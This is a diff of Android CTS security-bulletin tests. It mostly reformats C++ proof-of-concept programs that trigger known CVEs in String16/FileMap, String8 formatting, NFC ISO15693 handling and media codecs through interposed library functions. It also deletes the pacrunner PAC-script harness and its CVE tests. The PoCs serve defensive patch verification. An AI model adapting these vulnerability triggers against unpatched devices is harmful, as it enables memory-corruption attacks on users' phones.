+    const size_t len = std::numeric_limits<size_t>::max();
+    if (str.remove(len, begin) != android::OK) {
+        return EXIT_FAILURE;
+    }
+    if (strcmp16(str, substr) != 0) {
+        return EXIT_FAILURE;
+    }
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
index 085eb41..d003efe 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
@@ -22,8 +22,8 @@
 #define FILE_LENGTH SIZE_MAX
 
 int main() {
-  TemporaryFile tf;
-  android::FileMap fm;
-  fm.create(FILE_NAME, tf.fd, FILE_OFFSET, FILE_LENGTH, true);
-  return EXIT_SUCCESS;
+    TemporaryFile tf;
+    android::FileMap fm;
+    fm.create(FILE_NAME, tf.fd, FILE_OFFSET, FILE_LENGTH, true);
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
index 09e7f60..b624f5a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
@@ -34,18 +34,18 @@
 // for the format, the printf behavior is undefined." The below intercepting
 // function offers a simple way to return negative value.
 int vsnprintf(char *const dest, size_t size, const char *format, va_list ap) {
-  if (!strcmp(format, VULNERABLE_STRING)) {
-    return -1;
-  }
-  return (*fptr)(dest, size, format, ap);
+    if (!strcmp(format, VULNERABLE_STRING)) {
+        return -1;
+    }
+    return (*fptr)(dest, size, format, ap);
 }
 
 int main(void) {
-  fptr = reinterpret_cast<vsnprintf_t>(dlsym(RTLD_NEXT, "vsnprintf"));
-  if (!fptr) {
-    return EXIT_FAILURE;
-  }
-  android::String8 str1{VULNERABLE_STRING};
-  str1.appendFormat(VULNERABLE_STRING);
-  return EXIT_SUCCESS;
+    fptr = reinterpret_cast<vsnprintf_t>(dlsym(RTLD_NEXT, "vsnprintf"));
+    if (!fptr) {
+        return EXIT_FAILURE;
+    }
+    android::String8 str1{VULNERABLE_STRING};
+    str1.appendFormat(VULNERABLE_STRING);
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
index 268153b..8aeaf19 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
@@ -14,9 +14,9 @@
  * limitations under the License.
  */
 
+#include <stdlib.h>
 #include "../includes/common.h"
 #include "../includes/memutils.h"
-#include <stdlib.h>
 
 char enable_selective_overload = ENABLE_NONE;
 bool kIsVulnerable = false;
@@ -43,109 +43,108 @@
 
 // borrowed from rw_i93.cc
 enum {
-  RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated            */
-  RW_I93_STATE_IDLE,          /* waiting for upper layer API          */
-  RW_I93_STATE_BUSY,          /* waiting for response from tag        */
+    RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated            */
+    RW_I93_STATE_IDLE,          /* waiting for upper layer API          */
+    RW_I93_STATE_BUSY,          /* waiting for response from tag        */
 
-  RW_I93_STATE_DETECT_NDEF,   /* performing NDEF detection precedure  */
-  RW_I93_STATE_READ_NDEF,     /* performing read NDEF procedure       */
-  RW_I93_STATE_UPDATE_NDEF,   /* performing update NDEF procedure     */
-  RW_I93_STATE_FORMAT,        /* performing format procedure          */
-  RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure   */
+    RW_I93_STATE_DETECT_NDEF,   /* performing NDEF detection precedure  */
+    RW_I93_STATE_READ_NDEF,     /* performing read NDEF procedure       */
+    RW_I93_STATE_UPDATE_NDEF,   /* performing update NDEF procedure     */
+    RW_I93_STATE_FORMAT,        /* performing format procedure          */
+    RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure   */
 
-  RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag             */
+    RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag             */
 };
 
 // borrowed from rw_i93.cc
 enum {
-  RW_I93_SUBSTATE_WAIT_UID,          /* waiting for response of inventory    */
-  RW_I93_SUBSTATE_WAIT_SYS_INFO,     /* waiting for response of get sys info */
-  RW_I93_SUBSTATE_WAIT_CC,           /* waiting for reading CC               */
-  RW_I93_SUBSTATE_SEARCH_NDEF_TLV,   /* searching NDEF TLV                   */
-  RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked      */
+    RW_I93_SUBSTATE_WAIT_UID,          /* waiting for response of inventory    */
+    RW_I93_SUBSTATE_WAIT_SYS_INFO,     /* waiting for response of get sys info */
+    RW_I93_SUBSTATE_WAIT_CC,           /* waiting for reading CC               */
+    RW_I93_SUBSTATE_SEARCH_NDEF_TLV,   /* searching NDEF TLV                   */
+    RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked      */
 
-  RW_I93_SUBSTATE_RESET_LEN,  /* set length to 0 to update NDEF TLV   */
-  RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV      */
-  RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV             */
+    RW_I93_SUBSTATE_RESET_LEN,  /* set length to 0 to update NDEF TLV   */
+    RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV      */
+    RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV             */
 
-  RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
-  RW_I93_SUBSTATE_CHECK_READ_ONLY,   /* check if any block is locked         */
-  RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
-                                      */
+    RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+    RW_I93_SUBSTATE_CHECK_READ_ONLY,      /* check if any block is locked         */
+    RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV,    /* write CC and empty NDEF/Terminator TLV
+                                           */
 
-  RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only             */
-  RW_I93_SUBSTATE_LOCK_NDEF_TLV,  /* lock blocks of NDEF TLV              */
-  RW_I93_SUBSTATE_WAIT_LOCK_CC    /* lock block of CC                     */
+    RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only             */
+    RW_I93_SUBSTATE_LOCK_NDEF_TLV,  /* lock blocks of NDEF TLV              */
+    RW_I93_SUBSTATE_WAIT_LOCK_CC    /* lock block of CC                     */
 };
 
-static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(
-    uint16_t block_number, uint8_t *p_data) = nullptr;
+static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(uint16_t block_number,
+                                                              uint8_t *p_data) = nullptr;
 
 static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
 static void (*real_GKI_freebuf)(void *ptr) = nullptr;
 
 void init(void) {
-  real_rw_i93_send_cmd_write_single_block =
-      (tNFC_STATUS(*)(uint16_t, uint8_t *))dlsym(
-          RTLD_NEXT, "_Z34rw_i93_send_cmd_write_single_blocktPh");
-  if (!real_rw_i93_send_cmd_write_single_block) {
-    return;
-  }
+    real_rw_i93_send_cmd_write_single_block =
+            (tNFC_STATUS(*)(uint16_t, uint8_t *))dlsym(RTLD_NEXT,
+                                                       "_Z34rw_i93_send_cmd_write_single_blocktPh");
+    if (!real_rw_i93_send_cmd_write_single_block) {
+        return;
+    }
 
-  real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
-  if (!real_GKI_getbuf) {
-    return;
-  }
+    real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+    if (!real_GKI_getbuf) {
+        return;
+    }
 
-  real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
-  if (!real_GKI_freebuf) {
-    return;
-  }
+    real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+    if (!real_GKI_freebuf) {
+        return;
+    }
 
-  kIsInitialized = true;
+    kIsInitialized = true;
 }
 
 void *GKI_getbuf(uint16_t size) {
-  if (!kIsInitialized) {
-    init();
-  }
-  void *ptr = nullptr;
-  if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
-    ptr = malloc(size);
-    memset(ptr, DEFAULT_VALUE, size);
-    kVulnPtr = ptr;
-    kVulnSize = size;
-  } else {
-    ptr = real_GKI_getbuf(size);
-  }
-  return ptr;
+    if (!kIsInitialized) {
+        init();
+    }
+    void *ptr = nullptr;
+    if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
+        ptr = malloc(size);
+        memset(ptr, DEFAULT_VALUE, size);
+        kVulnPtr = ptr;
+        kVulnSize = size;
+    } else {
+        ptr = real_GKI_getbuf(size);
+    }
+    return ptr;
 }
 
 void GKI_freebuf(void *ptr) {
-  if (!kIsInitialized) {
-    init();
-  }
-  if (ptr == kVulnPtr) {
-    free(ptr);
-  } else {
-    real_GKI_freebuf(ptr);
-  }
+    if (!kIsInitialized) {
+        init();
+    }
+    if (ptr == kVulnPtr) {
+        free(ptr);
+    } else {
+        real_GKI_freebuf(ptr);
+    }
 }
 
-size_t rw_i93_send_cmd_write_single_block(uint16_t block_number,
-                                          uint8_t *p_data) {
-  if (!kIsInitialized) {
-    init();
-  }
-  if (p_data == kVulnPtr) {
-    for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
-      if (p_data[n] == DEFAULT_VALUE) {
-        kIsVulnerable = true;
-        break;
-      }
+size_t rw_i93_send_cmd_write_single_block(uint16_t block_number, uint8_t *p_data) {
+    if (!kIsInitialized) {
+        init();
     }
-  }
-  return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
+    if (p_data == kVulnPtr) {
+        for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
+            if (p_data[n] == DEFAULT_VALUE) {
+                kIsVulnerable = true;
+                break;
+            }
+        }
+    }
+    return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
 }
 
 #endif /* _64_BIT */
@@ -153,41 +152,41 @@
 int main() {
 // This PoC is only for 64-bit builds
 #if _64_BIT
-  enable_selective_overload = ENABLE_ALL;
-  tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+    enable_selective_overload = ENABLE_ALL;
+    tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
 
-  GKI_init();
-  rw_init();
+    GKI_init();
+    rw_init();
 
-  uint8_t p_uid = 1;
-  if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
-    return EXIT_FAILURE;
-  }
+    uint8_t p_uid = 1;
+    if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+        return EXIT_FAILURE;
+    }
 
-  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
-  tNFC_CONN_EVT event = NFC_DATA_CEVT;
-  p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
+    tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+    tNFC_CONN_EVT event = NFC_DATA_CEVT;
+    p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
 
-  tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
-  if (!p_data) {
-    return EXIT_FAILURE;
-  }
+    tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+    if (!p_data) {
+        return EXIT_FAILURE;
+    }
 
-  p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(uint8_t) * 16);
-  if (!(p_data->data.p_data)) {
+    p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(uint8_t) * 16);
+    if (!(p_data->data.p_data)) {
+        free(p_data);
+        return EXIT_FAILURE;
+    }
+
+    (p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
+    p_i93->state = RW_I93_STATE_FORMAT;
+    p_i93->block_size = 7;
+    p_data->status = NFC_STATUS_OK;
+
+    p_cb->p_cback(0, event, p_data);
+
     free(p_data);
-    return EXIT_FAILURE;
-  }
-
-  (p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
-  p_i93->state = RW_I93_STATE_FORMAT;
-  p_i93->block_size = 7;
-  p_data->status = NFC_STATUS_OK;
-
-  p_cb->p_cback(0, event, p_data);
-
-  free(p_data);
-  enable_selective_overload = ENABLE_NONE;
+    enable_selective_overload = ENABLE_NONE;
 #endif /* _64_BIT */
-  return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
+    return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
index d434e11..a809ab2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
@@ -73,7 +73,7 @@
         if (!inputEOS) {
             uint32_t bufferFlags = 0;
             ssize_t inIdx =
-                AMediaCodec_dequeueInputBuffer(codec, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
+                    AMediaCodec_dequeueInputBuffer(codec, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
             if (inIdx >= 0) {
                 ssize_t bytesRead = 0;
                 size_t bufSize;
@@ -102,7 +102,7 @@
         /* Dequeue output */
         AMediaCodecBufferInfo info;
         ssize_t outIdx =
-            AMediaCodec_dequeueOutputBuffer(codec, &info, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
+                AMediaCodec_dequeueOutputBuffer(codec, &info, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
         if (outIdx == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED ||
             outIdx == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
             inActiveTime = 0;
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/Android.bp b/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
index 6b85dba..c20e845 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 filegroup {
     name: "cts_hostsidetests_securitybulletin_memutils",
     srcs: [
diff --git a/hostsidetests/securitybulletin/securityPatch/pac/Android.bp b/hostsidetests/securitybulletin/securityPatch/pac/Android.bp
deleted file mode 100644
index 5887f2a..0000000
--- a/hostsidetests/securitybulletin/securityPatch/pac/Android.bp
+++ /dev/null
@@ -1,29 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-cc_test {
-    name: "pacrunner",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["pac.cpp"],
-    include_dirs: ["external/chromium-libpac/includes"],
-    shared_libs: ["libpac"],
-    cflags: [
-        "-Wall",
-        "-Werror",
-    ],
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp b/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
deleted file mode 100644
index 0629ec3..0000000
--- a/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <proxy_resolver_v8_wrapper.h>
-#include <sys/types.h>
-#include <string.h>
-#include <codecvt>
-#include <fstream>
-#include <iostream>
-#include "../includes/common.h"
-
-const char16_t* spec = u"";
-const char16_t* host = u"";
-
-int main(int argc, char *argv[]) {
-  bool shouldRunMultipleTimes = false;
-  if (argc != 2) {
-    if (argc != 3) {
-      std::cout << "incorrect number of arguments" << std::endl;
-      std::cout << "usage: ./pacrunner mypac.pac (or)" << std::endl;
-      std::cout << "usage: ./pacrunner mypac.pac true" << std::endl;
-      return EXIT_FAILURE;
-    } else {
-      shouldRunMultipleTimes = true;
-    }
-  }
-
-  ProxyResolverV8Handle* handle = ProxyResolverV8Handle_new();
-
-  std::ifstream t;
-  t.open(argv[1]);
-  if (t.rdstate() != std::ifstream::goodbit) {
-    std::cout << "error opening file" << std::endl;
-    return EXIT_FAILURE;
-  }
-  t.seekg(0, std::ios::end);
-  size_t size = t.tellg();
-  // allocate an extra byte for the null terminator
-  char* raw = (char*)calloc(size + 1, sizeof(char));
-  t.seekg(0);
-  t.read(raw, size);
-  std::string u8Script(raw);
-  std::u16string u16Script = std::wstring_convert<
-        std::codecvt_utf8_utf16<char16_t>, char16_t>{}.from_bytes(u8Script);
-
-  ProxyResolverV8Handle_SetPacScript(handle, u16Script.data());
-  time_t currentTime = start_timer();
-  do {
-    ProxyResolverV8Handle_GetProxyForURL(handle, spec, host);
-  } while (shouldRunMultipleTimes && timer_active(currentTime));
-
-  ProxyResolverV8Handle_delete(handle);
-  return EXIT_SUCCESS;
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 5ca23cb..76bfeb8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -501,38 +501,6 @@
     }
 
     /**
-     * Runs the pacrunner utility against a given proxyautoconfig file, asserting that it doesn't
-     * crash
-     * @param pacName the name of the proxy autoconfig script from the /res folder
-     * @param device device to be ran on
-     */
-    public static int runProxyAutoConfig(String pacName, ITestDevice device) throws Exception {
-        return runProxyAutoConfig(pacName, null, device);
-    }
-
-    /**
-     * Runs the binary against a given proxyautoconfig file, asserting that it doesn't
-     * crash
-     * @param pacName the name of the proxy autoconfig script from the /res folder
-     * @param arguments input arguments for pacrunner
-     * @param device device to be ran on
-     */
-    public static int runProxyAutoConfig(String pacName, String arguments,
-            ITestDevice device) throws Exception {
-        pacName += ".pac";
-        String targetPath = TMP_PATH + pacName;
-        AdbUtils.pushResource("/" + pacName, targetPath, device);
-        if(arguments != null) {
-            targetPath += " " + arguments;
-        }
-        runPocAssertNoCrashes(
-                "pacrunner", device, targetPath,
-                new CrashUtils.Config().setProcessPatterns("pacrunner"));
-        runCommandLine("rm " + targetPath, device);
-        return 0; // b/157172329 fix tests that manually check the result; remove return statement
-    }
-
-    /**
      * Runs the poc binary and asserts that there are no security crashes that match the expected
      * process pattern.
      * @param pocName a string path to poc from the /res folder
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java
deleted file mode 100644
index b75dd3a..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/**
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
-import android.platform.test.annotations.SecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2016_6328 extends SecurityTestCase {
-
-    /**
-     * b/162602132
-     * Vulnerability Behaviour: SIGSEGV in self
-     */
-    @SecurityTest(minPatchLevel = "2021-01")
-    @Test
-    public void testPocCVE_2016_6328() throws Exception {
-        pocPusher.only32();
-        String inputFiles[] = {"cve_2016_6328.mp4"};
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-6328",
-                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2046.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2046.java
deleted file mode 100644
index 783bfa1..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2046.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2046 extends SecurityTestCase {
-
-    /**
-     * b/117556220
-     * Vulnerability Behaviour: SIGSEGV in self
-     */
-    @SecurityTest(minPatchLevel = "2019-05")
-    @Test
-    public void testPocCVE_2019_2046() throws Exception {
-        pocPusher.only64();
-        AdbUtils.runProxyAutoConfig("cve_2019_2046", "true", getDevice());
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0393.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0393.java
deleted file mode 100644
index 2160aca..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0393.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0393 extends SecurityTestCase {
-
-    /**
-     * b/168041375
-     * Vulnerability Behavior: SIGSEGV in pacrunner
-     */
-    @SecurityTest(minPatchLevel = "2021-03")
-    @Test
-    public void testPocCVE_2021_0393() throws Exception {
-        pocPusher.only64();
-        AdbUtils.runProxyAutoConfig("cve_2021_0393", getDevice());
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0396.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0396.java
deleted file mode 100644
index 3df46a7..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0396.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import android.platform.test.annotations.SecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import static org.junit.Assert.assertTrue;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0396 extends SecurityTestCase {
-
-    /**
-     * b/160610106
-     * Vulnerability Behaviour: SIGSEGV in pacrunner
-     */
-    @SecurityTest(minPatchLevel = "2021-03")
-    @Test
-    public void testPocCVE_2021_0396() throws Exception {
-        AdbUtils.runProxyAutoConfig("cve_2021_0396", getDevice());
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
index 1ec6d89..96c4f54 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
@@ -33,7 +33,7 @@
      *  b/34277115
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-05")
+    // Don't add the SecurityTest annotation. This test doesn't work under userdebug builds.
     public void testPocCVE_2017_0630() throws Exception {
         if (containsDriver(getDevice(), "/sys/kernel/debug/tracing/printk_formats")) {
             String printkFormats = AdbUtils.runCommandLine(
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
index ef5b726..45cb327 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -42,14 +42,4 @@
         }
         AdbUtils.runCommandLine("rm -rf /sdcard/Android/data/CVE-2018-9515", getDevice());
     }
-
-    /**
-     *  b/111274046
-     */
-    @Test
-    @SecurityTest
-    public void testPocCVE_2018_9490() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("CVE-2018-9490", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
-    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
index fd3b638..ae739f5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
@@ -25,37 +25,6 @@
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc19_05 extends SecurityTestCase {
-
-    /**
-     * b/129556464
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-05")
-    public void testPocCVE_2019_2052() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2052", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
-    }
-
-    /**
-     * b/129556111
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-05")
-    public void testPocCVE_2019_2045() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2045", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
-    }
-
-    /*
-     * b/129556718
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-05")
-    public void testPocCVE_2019_2047() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2047", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
-    }
-
     /**
      * CVE-2019-2257
      */
@@ -67,14 +36,4 @@
         assertFalse(result.contains(
                             "permission com.qualcomm.permission.USE_QTI_TELEPHONY_SERVICE"));
     }
-
-    /**
-     * b/117555811
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-05")
-    public void testPocCVE_2019_2051() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2051", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
-    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java
deleted file mode 100644
index 67986fe..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/**
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
